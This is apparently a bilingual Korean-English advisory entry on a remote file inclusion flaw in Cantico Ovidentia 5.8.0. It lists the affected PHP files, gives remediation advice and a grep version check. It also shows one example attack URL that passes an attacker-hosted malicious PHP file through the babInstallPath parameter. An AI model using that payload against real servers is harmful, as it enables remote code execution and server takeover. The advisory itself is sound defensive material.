🇰🇷 한글 설명
Cantico Ovidentia 5.8.0의 babInstallPath 매개변수를 통한 원격 파일 포함(RFI) 취약점입니다. 공격자가 외부 서버의 악성 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. 20개 이상의 PHP 파일이 영향받아 시스템 전체 제어가 가능합니다.
💡 쉬운 설명
웹사이트가 외부의 악성 PHP 파일을 실행하도록 속을 수 있는 취약점입니다. 공격자가 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Cantico Ovidentia 5.8.0 allow remote attackers to execute arbitrary PHP code via a URL in the babInstallPath parameter in (1) index.php, (2) topman.php, (3) approb.php, (4) vacadmb.php, (5) vacadma.php, (6) vacadm.php, (7) statart.php, (8) search.php, (9) posts.php, (10) options.php, (11) login.php, (12) frchart.php, (13) flbchart.php, (14) fileman.php, (15) faq.php, (16) event.php, (17) directory.php, (18) articles.php, (19) artedit.php, (20) calday.php, and additional unspecified PHP scripts. NOTE: the utilit.php vector is already covered by CVE-2005-1964.
📍 영향받는 시스템
Cantico Ovidentia 5.8.0 (index.php, topman.php, approb.php, vacadmb.php 등 20+ 파일)
⚔️ 공격 벡터
babInstallPath 매개변수에 원격 URL 삽입 (예: /index.php?babInstallPath=http://attacker.com/malicious.php)
🛡️ 대응 방법
Cantico Ovidentia를 5.8.1 이상으로 업그레이드 또는 babInstallPath 매개변수 입력 검증 적용
🔧 검증 코드
설치된 Cantico Ovidentia 버전 확인 및 babInstallPath 사용 파일 조회. 5.8.0 버전이면 취약.
grep -r 'babInstallPath' /var/www/html/cantico/ 2>/dev/null | head -5